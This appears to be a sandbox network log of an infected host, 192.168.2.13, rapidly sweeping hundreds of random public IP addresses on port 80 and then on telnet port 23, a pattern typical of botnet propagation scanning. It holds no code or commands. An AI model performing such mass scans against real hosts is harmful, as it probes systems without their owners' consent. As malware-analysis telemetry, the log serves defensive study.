Dec 3, 2024 21:47:19.046751976 CET	39419	80	192.168.2.13	220.122.134.60
Dec 3, 2024 21:47:19.046751976 CET	39419	80	192.168.2.13	142.226.34.85
Dec 3, 2024 21:47:19.046753883 CET	39419	80	192.168.2.13	105.206.126.176
Dec 3, 2024 21:47:19.046753883 CET	39419	80	192.168.2.13	78.150.13.14
Dec 3, 2024 21:47:19.046753883 CET	39419	80	192.168.2.13	138.47.150.39
Dec 3, 2024 21:47:19.046745062 CET	39419	80	192.168.2.13	165.4.135.131
Dec 3, 2024 21:47:19.046745062 CET	39419	80	192.168.2.13	190.133.109.88
Dec 3, 2024 21:47:19.046756983 CET	39419	80	192.168.2.13	38.218.214.231
Dec 3, 2024 21:47:19.046756983 CET	39419	80	192.168.2.13	95.181.6.218
Dec 3, 2024 21:47:19.046763897 CET	39419	80	192.168.2.13	172.52.4.28
Dec 3, 2024 21:47:19.046765089 CET	39419	80	192.168.2.13	186.166.141.222
Dec 3, 2024 21:47:19.046834946 CET	39419	80	192.168.2.13	80.236.139.3
Dec 3, 2024 21:47:19.046834946 CET	39419	80	192.168.2.13	132.52.202.8
Dec 3, 2024 21:47:19.046834946 CET	39419	80	192.168.2.13	145.113.163.96
Dec 3, 2024 21:47:19.046863079 CET	39419	80	192.168.2.13	83.140.22.214
Dec 3, 2024 21:47:19.046863079 CET	39419	80	192.168.2.13	217.249.188.52
Dec 3, 2024 21:47:19.046864033 CET	39419	80	192.168.2.13	220.194.120.56
Dec 3, 2024 21:47:19.046863079 CET	39419	80	192.168.2.13	200.111.142.216
Dec 3, 2024 21:47:19.046864033 CET	39419	80	192.168.2.13	71.239.67.47
Dec 3, 2024 21:47:19.046864033 CET	39419	80	192.168.2.13	213.9.40.171
Dec 3, 2024 21:47:19.046864033 CET	39419	80	192.168.2.13	221.138.160.43
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	153.230.147.118
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	67.8.243.39
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	99.25.9.150
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	163.232.225.104
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	65.55.78.162
Dec 3, 2024 21:47:19.046873093 CET	39419	80	192.168.2.13	219.129.190.37
Dec 3, 2024 21:47:19.046886921 CET	39419	80	192.168.2.13	180.83.149.152
Dec 3, 2024 21:47:19.046888113 CET	39419	80	192.168.2.13	168.163.196.193
Dec 3, 2024 21:47:19.046886921 CET	39419	80	192.168.2.13	187.70.199.77
Dec 3, 2024 21:47:19.046888113 CET	39419	80	192.168.2.13	164.116.110.148
Dec 3, 2024 21:47:19.046888113 CET	39419	80	192.168.2.13	199.131.63.189
Dec 3, 2024 21:47:19.046890974 CET	39419	80	192.168.2.13	155.181.75.199
Dec 3, 2024 21:47:19.046890974 CET	39419	80	192.168.2.13	17.186.67.74
Dec 3, 2024 21:47:19.046890974 CET	39419	80	192.168.2.13	174.47.109.162
Dec 3, 2024 21:47:19.046892881 CET	39419	80	192.168.2.13	211.181.160.200
Dec 3, 2024 21:47:19.046892881 CET	39419	80	192.168.2.13	113.24.249.160
Dec 3, 2024 21:47:19.046892881 CET	39419	80	192.168.2.13	118.36.135.37
Dec 3, 2024 21:47:19.046892881 CET	39419	80	192.168.2.13	17.116.192.160
Dec 3, 2024 21:47:19.046892881 CET	39419	80	192.168.2.13	39.60.70.106
Dec 3, 2024 21:47:19.046895981 CET	39419	80	192.168.2.13	128.195.160.146
Dec 3, 2024 21:47:19.046895981 CET	39419	80	192.168.2.13	48.149.30.173
Dec 3, 2024 21:47:19.046896935 CET	39419	80	192.168.2.13	69.94.27.119
Dec 3, 2024 21:47:19.046896935 CET	39419	80	192.168.2.13	109.142.26.78
Dec 3, 2024 21:47:19.046896935 CET	39419	80	192.168.2.13	32.87.56.225
Dec 3, 2024 21:47:19.046896935 CET	39419	80	192.168.2.13	75.33.196.161
Dec 3, 2024 21:47:19.046906948 CET	39419	80	192.168.2.13	141.190.83.180
Dec 3, 2024 21:47:19.046906948 CET	39419	80	192.168.2.13	196.251.79.203
Dec 3, 2024 21:47:19.046906948 CET	39419	80	192.168.2.13	106.4.246.201
Dec 3, 2024 21:47:19.046907902 CET	39419	80	192.168.2.13	36.116.200.62
Dec 3, 2024 21:47:19.046907902 CET	39419	80	192.168.2.13	44.250.185.213
Dec 3, 2024 21:47:19.046907902 CET	39419	80	192.168.2.13	202.95.100.144
Dec 3, 2024 21:47:19.046907902 CET	39419	80	192.168.2.13	125.161.216.228
Dec 3, 2024 21:47:19.046909094 CET	39419	80	192.168.2.13	65.45.215.214
Dec 3, 2024 21:47:19.046910048 CET	39419	80	192.168.2.13	121.234.17.87
Dec 3, 2024 21:47:19.046909094 CET	39419	80	192.168.2.13	136.239.198.110
Dec 3, 2024 21:47:19.046910048 CET	39419	80	192.168.2.13	109.227.152.194
Dec 3, 2024 21:47:19.046910048 CET	39419	80	192.168.2.13	133.232.209.73
Dec 3, 2024 21:47:19.046916962 CET	39419	80	192.168.2.13	37.173.42.140
Dec 3, 2024 21:47:19.046916962 CET	39419	80	192.168.2.13	213.197.113.123
Dec 3, 2024 21:47:19.046916962 CET	39419	80	192.168.2.13	65.230.75.78
Dec 3, 2024 21:47:19.046916962 CET	39419	80	192.168.2.13	67.142.183.156
Dec 3, 2024 21:47:19.046930075 CET	39419	80	192.168.2.13	170.181.17.147
Dec 3, 2024 21:47:19.046931028 CET	39419	80	192.168.2.13	125.153.212.182
Dec 3, 2024 21:47:19.046931028 CET	39419	80	192.168.2.13	53.56.55.106
Dec 3, 2024 21:47:19.046931028 CET	39419	80	192.168.2.13	193.116.151.253
Dec 3, 2024 21:47:19.046931028 CET	39419	80	192.168.2.13	121.52.138.121
Dec 3, 2024 21:47:19.046943903 CET	39419	80	192.168.2.13	218.146.36.163
Dec 3, 2024 21:47:19.046943903 CET	39419	80	192.168.2.13	181.30.158.79
Dec 3, 2024 21:47:19.046943903 CET	39419	80	192.168.2.13	93.243.168.156
Dec 3, 2024 21:47:19.046947956 CET	39419	80	192.168.2.13	216.212.105.0
Dec 3, 2024 21:47:19.046947956 CET	39419	80	192.168.2.13	164.153.5.194
Dec 3, 2024 21:47:19.046948910 CET	39419	80	192.168.2.13	217.90.38.26
Dec 3, 2024 21:47:19.046961069 CET	39419	80	192.168.2.13	105.132.147.72
Dec 3, 2024 21:47:19.046961069 CET	39419	80	192.168.2.13	91.7.187.27
Dec 3, 2024 21:47:19.046961069 CET	39419	80	192.168.2.13	204.26.253.167
Dec 3, 2024 21:47:19.046961069 CET	39419	80	192.168.2.13	59.34.153.25
Dec 3, 2024 21:47:19.046961069 CET	39419	80	192.168.2.13	151.250.43.186
Dec 3, 2024 21:47:19.046974897 CET	39419	80	192.168.2.13	35.64.100.60
Dec 3, 2024 21:47:19.046983957 CET	39419	80	192.168.2.13	17.81.144.15
Dec 3, 2024 21:47:19.046983957 CET	39419	80	192.168.2.13	52.93.221.200
Dec 3, 2024 21:47:19.046984911 CET	39419	80	192.168.2.13	84.249.176.211
Dec 3, 2024 21:47:19.046988964 CET	39419	80	192.168.2.13	155.190.80.242
Dec 3, 2024 21:47:19.047003984 CET	39419	80	192.168.2.13	50.202.219.35
Dec 3, 2024 21:47:19.047003984 CET	39419	80	192.168.2.13	44.6.117.122
Dec 3, 2024 21:47:19.047010899 CET	39419	80	192.168.2.13	79.127.82.196
Dec 3, 2024 21:47:19.047010899 CET	39419	80	192.168.2.13	116.98.80.121
Dec 3, 2024 21:47:19.047010899 CET	39419	80	192.168.2.13	194.191.133.140
Dec 3, 2024 21:47:19.047010899 CET	39419	80	192.168.2.13	163.77.134.102
Dec 3, 2024 21:47:19.047013044 CET	39419	80	192.168.2.13	178.245.180.58
Dec 3, 2024 21:47:19.047013044 CET	39419	80	192.168.2.13	37.189.164.11
Dec 3, 2024 21:47:19.047013044 CET	39419	80	192.168.2.13	185.40.168.254
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	109.245.55.145
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	101.43.175.76
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	84.205.138.225
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	17.55.168.102
Dec 3, 2024 21:47:19.047019958 CET	39419	80	192.168.2.13	97.182.25.115
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	70.182.193.141
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	67.173.99.104
Dec 3, 2024 21:47:19.047019005 CET	39419	80	192.168.2.13	25.161.236.218
Dec 3, 2024 21:47:19.047028065 CET	39419	80	192.168.2.13	70.199.66.234
Dec 3, 2024 21:47:19.047028065 CET	39419	80	192.168.2.13	2.63.19.157
Dec 3, 2024 21:47:19.047034025 CET	39419	80	192.168.2.13	206.230.8.4
Dec 3, 2024 21:47:19.047034025 CET	39419	80	192.168.2.13	87.68.215.174
Dec 3, 2024 21:47:19.047034979 CET	39419	80	192.168.2.13	194.21.78.85
Dec 3, 2024 21:47:19.047035933 CET	39419	80	192.168.2.13	178.173.124.31
Dec 3, 2024 21:47:19.047036886 CET	39419	80	192.168.2.13	158.189.12.122
Dec 3, 2024 21:47:19.047036886 CET	39419	80	192.168.2.13	179.128.201.210
Dec 3, 2024 21:47:19.047049046 CET	39419	80	192.168.2.13	44.33.78.230
Dec 3, 2024 21:47:19.047058105 CET	39419	80	192.168.2.13	80.67.35.195
Dec 3, 2024 21:47:19.047058105 CET	39419	80	192.168.2.13	37.169.95.216
Dec 3, 2024 21:47:19.047059059 CET	39419	80	192.168.2.13	205.119.31.103
Dec 3, 2024 21:47:19.047060966 CET	39419	80	192.168.2.13	121.148.145.87
Dec 3, 2024 21:47:19.047061920 CET	39419	80	192.168.2.13	83.11.240.11
Dec 3, 2024 21:47:19.047074080 CET	39419	80	192.168.2.13	90.173.63.85
Dec 3, 2024 21:47:19.047082901 CET	39419	80	192.168.2.13	165.83.105.227
Dec 3, 2024 21:47:19.047094107 CET	39419	80	192.168.2.13	100.239.223.164
Dec 3, 2024 21:47:19.047097921 CET	39419	80	192.168.2.13	18.29.168.95
Dec 3, 2024 21:47:19.047097921 CET	39419	80	192.168.2.13	194.247.48.232
Dec 3, 2024 21:47:19.047107935 CET	39419	80	192.168.2.13	173.40.116.46
Dec 3, 2024 21:47:19.047116995 CET	39419	80	192.168.2.13	4.250.114.142
Dec 3, 2024 21:47:19.047123909 CET	39419	80	192.168.2.13	172.215.255.234
Dec 3, 2024 21:47:19.047132969 CET	39419	80	192.168.2.13	122.144.194.99
Dec 3, 2024 21:47:19.047142029 CET	39419	80	192.168.2.13	172.67.69.93
Dec 3, 2024 21:47:19.047142029 CET	39419	80	192.168.2.13	202.158.15.194
Dec 3, 2024 21:47:19.047143936 CET	39419	80	192.168.2.13	124.130.40.97
Dec 3, 2024 21:47:19.047144890 CET	39419	80	192.168.2.13	63.248.101.166
Dec 3, 2024 21:47:19.047158003 CET	39419	80	192.168.2.13	79.25.140.170
Dec 3, 2024 21:47:19.047161102 CET	39419	80	192.168.2.13	178.203.236.45
Dec 3, 2024 21:47:19.047171116 CET	39419	80	192.168.2.13	92.108.212.85
Dec 3, 2024 21:47:19.047171116 CET	39419	80	192.168.2.13	159.22.67.90
Dec 3, 2024 21:47:19.047187090 CET	39419	80	192.168.2.13	120.148.64.67
Dec 3, 2024 21:47:19.047188997 CET	39419	80	192.168.2.13	100.163.5.156
Dec 3, 2024 21:47:19.047188997 CET	39419	80	192.168.2.13	182.58.209.107
Dec 3, 2024 21:47:19.047209024 CET	39419	80	192.168.2.13	147.177.28.20
Dec 3, 2024 21:47:19.047209978 CET	39419	80	192.168.2.13	198.1.184.118
Dec 3, 2024 21:47:19.047214031 CET	39419	80	192.168.2.13	169.223.128.254
Dec 3, 2024 21:47:19.047214985 CET	39419	80	192.168.2.13	217.204.24.189
Dec 3, 2024 21:47:19.047219992 CET	39419	80	192.168.2.13	200.29.188.117
Dec 3, 2024 21:47:19.047223091 CET	39419	80	192.168.2.13	85.119.182.65
Dec 3, 2024 21:47:19.047225952 CET	39419	80	192.168.2.13	128.221.249.43
Dec 3, 2024 21:47:19.047225952 CET	39419	80	192.168.2.13	8.51.116.123
Dec 3, 2024 21:47:19.047240019 CET	39419	80	192.168.2.13	19.12.203.127
Dec 3, 2024 21:47:19.047246933 CET	39419	80	192.168.2.13	163.93.51.210
Dec 3, 2024 21:47:19.047260046 CET	39419	80	192.168.2.13	42.118.120.177
Dec 3, 2024 21:47:19.047265053 CET	39419	80	192.168.2.13	208.241.211.223
Dec 3, 2024 21:47:19.047265053 CET	39419	80	192.168.2.13	151.236.76.37
Dec 3, 2024 21:47:19.047271967 CET	39419	80	192.168.2.13	121.226.6.206
Dec 3, 2024 21:47:19.047277927 CET	39419	80	192.168.2.13	128.173.204.152
Dec 3, 2024 21:47:19.047285080 CET	39419	80	192.168.2.13	64.73.153.137
Dec 3, 2024 21:47:19.047297001 CET	39419	80	192.168.2.13	147.110.137.188
Dec 3, 2024 21:47:19.047298908 CET	39419	80	192.168.2.13	201.125.212.234
Dec 3, 2024 21:47:19.047307968 CET	39419	80	192.168.2.13	8.189.1.18
Dec 3, 2024 21:47:19.047310114 CET	39419	80	192.168.2.13	147.181.54.230
Dec 3, 2024 21:47:19.047310114 CET	39419	80	192.168.2.13	60.69.249.55
Dec 3, 2024 21:47:19.047324896 CET	39419	80	192.168.2.13	101.178.120.62
Dec 3, 2024 21:47:19.047328949 CET	39419	80	192.168.2.13	123.72.132.63
Dec 3, 2024 21:47:19.047344923 CET	39419	80	192.168.2.13	43.183.131.33
Dec 3, 2024 21:47:19.047348976 CET	39419	80	192.168.2.13	139.232.86.183
Dec 3, 2024 21:47:19.047359943 CET	39419	80	192.168.2.13	163.167.107.207
Dec 3, 2024 21:47:19.047359943 CET	39419	80	192.168.2.13	105.227.107.0
Dec 3, 2024 21:47:19.047365904 CET	39419	80	192.168.2.13	81.40.58.10
Dec 3, 2024 21:47:19.047375917 CET	39419	80	192.168.2.13	48.48.172.159
Dec 3, 2024 21:47:19.047384024 CET	39419	80	192.168.2.13	104.178.29.11
Dec 3, 2024 21:47:19.047384024 CET	39419	80	192.168.2.13	98.209.77.206
Dec 3, 2024 21:47:19.047385931 CET	39419	80	192.168.2.13	17.203.13.42
Dec 3, 2024 21:47:19.047385931 CET	39419	80	192.168.2.13	136.64.229.172
Dec 3, 2024 21:47:19.047396898 CET	39419	80	192.168.2.13	206.171.0.96
Dec 3, 2024 21:47:19.047398090 CET	39419	80	192.168.2.13	72.68.99.197
Dec 3, 2024 21:47:19.047416925 CET	39419	80	192.168.2.13	138.23.72.93
Dec 3, 2024 21:47:19.047418118 CET	39419	80	192.168.2.13	38.166.104.85
Dec 3, 2024 21:47:19.047418118 CET	39419	80	192.168.2.13	166.43.249.236
Dec 3, 2024 21:47:19.047430992 CET	39419	80	192.168.2.13	163.64.252.104
Dec 3, 2024 21:47:19.047441959 CET	39419	80	192.168.2.13	167.143.150.151
Dec 3, 2024 21:47:19.047442913 CET	39419	80	192.168.2.13	95.137.239.14
Dec 3, 2024 21:47:19.047461033 CET	39419	80	192.168.2.13	139.139.74.166
Dec 3, 2024 21:47:19.047461033 CET	39419	80	192.168.2.13	181.237.48.224
Dec 3, 2024 21:47:19.047466040 CET	39419	80	192.168.2.13	122.185.212.77
Dec 3, 2024 21:47:19.047467947 CET	39419	80	192.168.2.13	31.167.112.46
Dec 3, 2024 21:47:19.047470093 CET	39419	80	192.168.2.13	53.14.16.153
Dec 3, 2024 21:47:19.047488928 CET	39419	80	192.168.2.13	109.21.131.23
Dec 3, 2024 21:47:19.047489882 CET	39419	80	192.168.2.13	222.253.81.68
Dec 3, 2024 21:47:19.047493935 CET	39419	80	192.168.2.13	177.114.69.200
Dec 3, 2024 21:47:19.047493935 CET	39419	80	192.168.2.13	147.224.19.123
Dec 3, 2024 21:47:19.047503948 CET	39419	80	192.168.2.13	139.10.156.21
Dec 3, 2024 21:47:19.047506094 CET	39419	80	192.168.2.13	209.0.82.32
Dec 3, 2024 21:47:19.047523975 CET	39419	80	192.168.2.13	191.8.213.60
Dec 3, 2024 21:47:19.047525883 CET	39419	80	192.168.2.13	123.156.136.37
Dec 3, 2024 21:47:19.047528028 CET	39419	80	192.168.2.13	113.66.191.90
Dec 3, 2024 21:47:19.047528028 CET	39419	80	192.168.2.13	196.235.208.170
Dec 3, 2024 21:47:19.047543049 CET	39419	80	192.168.2.13	125.49.182.105
Dec 3, 2024 21:47:19.047549009 CET	39419	80	192.168.2.13	138.156.62.89
Dec 3, 2024 21:47:19.047550917 CET	39419	80	192.168.2.13	49.221.114.238
Dec 3, 2024 21:47:19.047560930 CET	39419	80	192.168.2.13	81.154.186.217
Dec 3, 2024 21:47:19.047563076 CET	39419	80	192.168.2.13	137.47.187.46
Dec 3, 2024 21:47:19.047574997 CET	39419	80	192.168.2.13	174.125.31.59
Dec 3, 2024 21:47:19.047580004 CET	39419	80	192.168.2.13	205.148.24.123
Dec 3, 2024 21:47:19.047583103 CET	39419	80	192.168.2.13	143.21.191.93
Dec 3, 2024 21:47:19.047600031 CET	39419	80	192.168.2.13	206.239.212.94
Dec 3, 2024 21:47:19.047601938 CET	39419	80	192.168.2.13	212.94.247.9
Dec 3, 2024 21:47:19.047607899 CET	39419	80	192.168.2.13	54.45.47.72
Dec 3, 2024 21:47:19.047616005 CET	39419	80	192.168.2.13	116.73.255.217
Dec 3, 2024 21:47:19.047621965 CET	39419	80	192.168.2.13	185.211.107.253
Dec 3, 2024 21:47:19.047621965 CET	39419	80	192.168.2.13	121.104.175.54
Dec 3, 2024 21:47:19.047622919 CET	39419	80	192.168.2.13	94.41.98.185
Dec 3, 2024 21:47:19.047638893 CET	39419	80	192.168.2.13	198.144.129.58
Dec 3, 2024 21:47:19.047641993 CET	39419	80	192.168.2.13	197.61.71.12
Dec 3, 2024 21:47:19.047645092 CET	39419	80	192.168.2.13	101.87.41.75
Dec 3, 2024 21:47:19.047651052 CET	39419	80	192.168.2.13	185.252.78.44
Dec 3, 2024 21:47:19.047652006 CET	39419	80	192.168.2.13	111.150.162.240
Dec 3, 2024 21:47:19.047666073 CET	39419	80	192.168.2.13	65.89.33.252
Dec 3, 2024 21:47:19.047667980 CET	39419	80	192.168.2.13	160.85.51.41
Dec 3, 2024 21:47:19.047667980 CET	39419	80	192.168.2.13	183.119.105.98
Dec 3, 2024 21:47:19.047676086 CET	39419	80	192.168.2.13	180.22.217.246
Dec 3, 2024 21:47:19.047688007 CET	39419	80	192.168.2.13	76.24.208.237
Dec 3, 2024 21:47:19.047691107 CET	39419	80	192.168.2.13	221.30.232.44
Dec 3, 2024 21:47:19.047694921 CET	39419	80	192.168.2.13	118.180.25.241
Dec 3, 2024 21:47:19.047708988 CET	39419	80	192.168.2.13	143.82.5.207
Dec 3, 2024 21:47:19.047708988 CET	39419	80	192.168.2.13	218.76.33.89
Dec 3, 2024 21:47:19.047714949 CET	39419	80	192.168.2.13	125.44.3.216
Dec 3, 2024 21:47:19.047724962 CET	39419	80	192.168.2.13	93.151.138.9
Dec 3, 2024 21:47:19.047740936 CET	39419	80	192.168.2.13	58.200.120.146
Dec 3, 2024 21:47:19.047744989 CET	39419	80	192.168.2.13	165.63.167.179
Dec 3, 2024 21:47:19.047746897 CET	39419	80	192.168.2.13	23.209.92.84
Dec 3, 2024 21:47:19.047758102 CET	39419	80	192.168.2.13	41.121.127.182
Dec 3, 2024 21:47:19.047761917 CET	39419	80	192.168.2.13	136.199.121.221
Dec 3, 2024 21:47:19.047765970 CET	39419	80	192.168.2.13	200.50.64.168
Dec 3, 2024 21:47:19.047766924 CET	39419	80	192.168.2.13	51.201.201.160
Dec 3, 2024 21:47:19.047780037 CET	39419	80	192.168.2.13	103.136.145.5
Dec 3, 2024 21:47:19.047785044 CET	39419	80	192.168.2.13	73.195.46.148
Dec 3, 2024 21:47:19.047799110 CET	39419	80	192.168.2.13	88.167.140.192
Dec 3, 2024 21:47:19.047799110 CET	39419	80	192.168.2.13	166.185.139.88
Dec 3, 2024 21:47:19.047799110 CET	39419	80	192.168.2.13	160.160.221.10
Dec 3, 2024 21:47:19.047817945 CET	39419	80	192.168.2.13	153.216.24.93
Dec 3, 2024 21:47:19.047817945 CET	39419	80	192.168.2.13	45.2.22.102
Dec 3, 2024 21:47:19.047821999 CET	39419	80	192.168.2.13	42.198.164.197
Dec 3, 2024 21:47:19.047823906 CET	39419	80	192.168.2.13	101.200.220.183
Dec 3, 2024 21:47:19.047832966 CET	39419	80	192.168.2.13	184.181.163.149
Dec 3, 2024 21:47:19.047843933 CET	39419	80	192.168.2.13	53.95.74.122
Dec 3, 2024 21:47:19.047849894 CET	39419	80	192.168.2.13	80.155.158.88
Dec 3, 2024 21:47:19.047852039 CET	39419	80	192.168.2.13	100.174.63.11
Dec 3, 2024 21:47:19.047866106 CET	39419	80	192.168.2.13	64.53.12.176
Dec 3, 2024 21:47:19.047866106 CET	39419	80	192.168.2.13	156.91.96.66
Dec 3, 2024 21:47:19.047873974 CET	39419	80	192.168.2.13	93.182.128.172
Dec 3, 2024 21:47:19.047884941 CET	39419	80	192.168.2.13	104.255.185.140
Dec 3, 2024 21:47:19.047884941 CET	39419	80	192.168.2.13	221.60.237.2
Dec 3, 2024 21:47:19.047889948 CET	39419	80	192.168.2.13	49.192.45.51
Dec 3, 2024 21:47:19.047904968 CET	39419	80	192.168.2.13	143.191.144.66
Dec 3, 2024 21:47:19.047907114 CET	39419	80	192.168.2.13	122.141.140.127
Dec 3, 2024 21:47:19.047918081 CET	39419	80	192.168.2.13	46.7.32.243
Dec 3, 2024 21:47:19.047919035 CET	39419	80	192.168.2.13	18.117.219.105
Dec 3, 2024 21:47:19.047924042 CET	39419	80	192.168.2.13	163.104.161.103
Dec 3, 2024 21:47:19.047934055 CET	39419	80	192.168.2.13	210.133.201.101
Dec 3, 2024 21:47:19.047934055 CET	39419	80	192.168.2.13	210.241.137.66
Dec 3, 2024 21:47:19.047947884 CET	39419	80	192.168.2.13	88.253.108.128
Dec 3, 2024 21:47:19.047947884 CET	39419	80	192.168.2.13	14.115.100.210
Dec 3, 2024 21:47:19.047950029 CET	39419	80	192.168.2.13	187.234.203.140
Dec 3, 2024 21:47:19.047950029 CET	39419	80	192.168.2.13	211.6.236.151
Dec 3, 2024 21:47:19.047965050 CET	39419	80	192.168.2.13	146.231.4.47
Dec 3, 2024 21:47:19.047966957 CET	39419	80	192.168.2.13	180.160.150.115
Dec 3, 2024 21:47:19.047981977 CET	39419	80	192.168.2.13	204.50.128.128
Dec 3, 2024 21:47:19.047986031 CET	39419	80	192.168.2.13	52.232.202.29
Dec 3, 2024 21:47:19.047998905 CET	39419	80	192.168.2.13	223.144.46.119
Dec 3, 2024 21:47:19.048005104 CET	39419	80	192.168.2.13	73.199.43.197
Dec 3, 2024 21:47:19.048015118 CET	39419	80	192.168.2.13	152.126.32.141
Dec 3, 2024 21:47:19.048018932 CET	39419	80	192.168.2.13	71.55.197.81
Dec 3, 2024 21:47:19.048021078 CET	39419	80	192.168.2.13	42.248.35.25
Dec 3, 2024 21:47:19.048023939 CET	39419	80	192.168.2.13	98.168.122.187
Dec 3, 2024 21:47:19.048032045 CET	39419	80	192.168.2.13	13.99.138.223
Dec 3, 2024 21:47:19.048038960 CET	39419	80	192.168.2.13	54.32.38.137
Dec 3, 2024 21:47:19.048048019 CET	39419	80	192.168.2.13	154.109.225.66
Dec 3, 2024 21:47:19.048049927 CET	39419	80	192.168.2.13	206.29.61.56
Dec 3, 2024 21:47:19.048060894 CET	39419	80	192.168.2.13	115.45.176.203
Dec 3, 2024 21:47:19.048063993 CET	39419	80	192.168.2.13	211.110.108.53
Dec 3, 2024 21:47:19.048067093 CET	39419	80	192.168.2.13	67.182.190.48
Dec 3, 2024 21:47:19.048080921 CET	39419	80	192.168.2.13	146.42.77.228
Dec 3, 2024 21:47:19.048084021 CET	39419	80	192.168.2.13	174.108.225.10
Dec 3, 2024 21:47:19.048089981 CET	39419	80	192.168.2.13	65.31.70.101
Dec 3, 2024 21:47:19.048100948 CET	39419	80	192.168.2.13	159.50.213.14
Dec 3, 2024 21:47:19.048100948 CET	39419	80	192.168.2.13	40.129.22.114
Dec 3, 2024 21:47:19.048105001 CET	39419	80	192.168.2.13	14.145.135.92
Dec 3, 2024 21:47:19.048115969 CET	39419	80	192.168.2.13	121.134.116.95
Dec 3, 2024 21:47:19.048115969 CET	39419	80	192.168.2.13	201.136.84.194
Dec 3, 2024 21:47:19.048118114 CET	39419	80	192.168.2.13	97.13.38.167
Dec 3, 2024 21:47:19.048119068 CET	39419	80	192.168.2.13	147.53.206.245
Dec 3, 2024 21:47:19.048120022 CET	39419	80	192.168.2.13	138.85.193.175
Dec 3, 2024 21:47:19.048124075 CET	39419	80	192.168.2.13	222.7.147.47
Dec 3, 2024 21:47:19.048124075 CET	39419	80	192.168.2.13	221.82.146.107
Dec 3, 2024 21:47:19.048130989 CET	39419	80	192.168.2.13	92.185.78.200
Dec 3, 2024 21:47:19.048137903 CET	39419	80	192.168.2.13	81.198.201.156
Dec 3, 2024 21:47:19.048141956 CET	39419	80	192.168.2.13	143.138.168.46
Dec 3, 2024 21:47:19.048141956 CET	39419	80	192.168.2.13	200.154.55.129
Dec 3, 2024 21:47:19.048141956 CET	39419	80	192.168.2.13	199.127.180.242
Dec 3, 2024 21:47:19.048154116 CET	39419	80	192.168.2.13	116.54.96.40
Dec 3, 2024 21:47:19.048162937 CET	39419	80	192.168.2.13	109.95.94.183
Dec 3, 2024 21:47:19.048166037 CET	39419	80	192.168.2.13	78.30.107.167
Dec 3, 2024 21:47:19.048175097 CET	39419	80	192.168.2.13	35.59.231.25
Dec 3, 2024 21:47:19.048182964 CET	39419	80	192.168.2.13	70.207.115.88
Dec 3, 2024 21:47:19.048190117 CET	39419	80	192.168.2.13	163.243.155.206
Dec 3, 2024 21:47:19.048194885 CET	39419	80	192.168.2.13	46.154.125.30
Dec 3, 2024 21:47:19.048207998 CET	39419	80	192.168.2.13	103.195.74.9
Dec 3, 2024 21:47:19.048211098 CET	39419	80	192.168.2.13	62.171.226.65
Dec 3, 2024 21:47:19.048228025 CET	39419	80	192.168.2.13	92.176.67.70
Dec 3, 2024 21:47:19.060197115 CET	40955	23	192.168.2.13	173.198.61.31
Dec 3, 2024 21:47:19.060252905 CET	40955	23	192.168.2.13	123.248.33.28
Dec 3, 2024 21:47:19.060269117 CET	40955	23	192.168.2.13	77.132.57.31
Dec 3, 2024 21:47:19.060269117 CET	40955	23	192.168.2.13	148.170.72.154
Dec 3, 2024 21:47:19.060269117 CET	40955	23	192.168.2.13	80.57.167.35
Dec 3, 2024 21:47:19.060285091 CET	40955	23	192.168.2.13	150.12.213.190
Dec 3, 2024 21:47:19.060285091 CET	40955	23	192.168.2.13	186.5.153.121
Dec 3, 2024 21:47:19.060285091 CET	40955	23	192.168.2.13	23.231.21.237
Dec 3, 2024 21:47:19.060303926 CET	40955	23	192.168.2.13	121.228.25.103
Dec 3, 2024 21:47:19.060307026 CET	40955	23	192.168.2.13	89.46.2.73
Dec 3, 2024 21:47:19.060324907 CET	40955	23	192.168.2.13	204.147.176.216
Dec 3, 2024 21:47:19.060328007 CET	40955	23	192.168.2.13	186.103.196.224
Dec 3, 2024 21:47:19.060342073 CET	40955	23	192.168.2.13	195.96.62.149
Dec 3, 2024 21:47:19.060342073 CET	40955	23	192.168.2.13	88.12.117.253
Dec 3, 2024 21:47:19.060355902 CET	40955	23	192.168.2.13	148.200.244.250
Dec 3, 2024 21:47:19.060358047 CET	40955	23	192.168.2.13	195.238.85.152
Dec 3, 2024 21:47:19.060359001 CET	40955	23	192.168.2.13	78.128.112.186
Dec 3, 2024 21:47:19.060364008 CET	40955	23	192.168.2.13	84.125.35.46
Dec 3, 2024 21:47:19.060369015 CET	40955	23	192.168.2.13	60.84.130.191
Dec 3, 2024 21:47:19.060386896 CET	40955	23	192.168.2.13	120.47.94.10
Dec 3, 2024 21:47:19.060389042 CET	40955	23	192.168.2.13	88.158.99.223
Dec 3, 2024 21:47:19.060390949 CET	40955	23	192.168.2.13	173.170.245.160
Dec 3, 2024 21:47:19.060395002 CET	40955	23	192.168.2.13	197.93.199.211
Dec 3, 2024 21:47:19.060390949 CET	40955	23	192.168.2.13	148.242.225.133
Dec 3, 2024 21:47:19.060410023 CET	40955	23	192.168.2.13	119.205.148.19
Dec 3, 2024 21:47:19.060415030 CET	40955	23	192.168.2.13	65.234.154.245
Dec 3, 2024 21:47:19.060416937 CET	40955	23	192.168.2.13	130.57.14.179
Dec 3, 2024 21:47:19.060416937 CET	40955	23	192.168.2.13	111.195.28.163
Dec 3, 2024 21:47:19.060416937 CET	40955	23	192.168.2.13	43.190.228.223
Dec 3, 2024 21:47:19.060425997 CET	40955	23	192.168.2.13	218.192.238.185
Dec 3, 2024 21:47:19.060435057 CET	40955	23	192.168.2.13	112.215.107.124
Dec 3, 2024 21:47:19.060442924 CET	40955	23	192.168.2.13	194.73.227.139
Dec 3, 2024 21:47:19.060455084 CET	40955	23	192.168.2.13	93.43.14.108
Dec 3, 2024 21:47:19.060458899 CET	40955	23	192.168.2.13	34.167.92.242
Dec 3, 2024 21:47:19.060461044 CET	40955	23	192.168.2.13	71.169.235.132
Dec 3, 2024 21:47:19.060462952 CET	40955	23	192.168.2.13	203.206.223.200
Dec 3, 2024 21:47:19.060472965 CET	40955	23	192.168.2.13	150.209.160.213
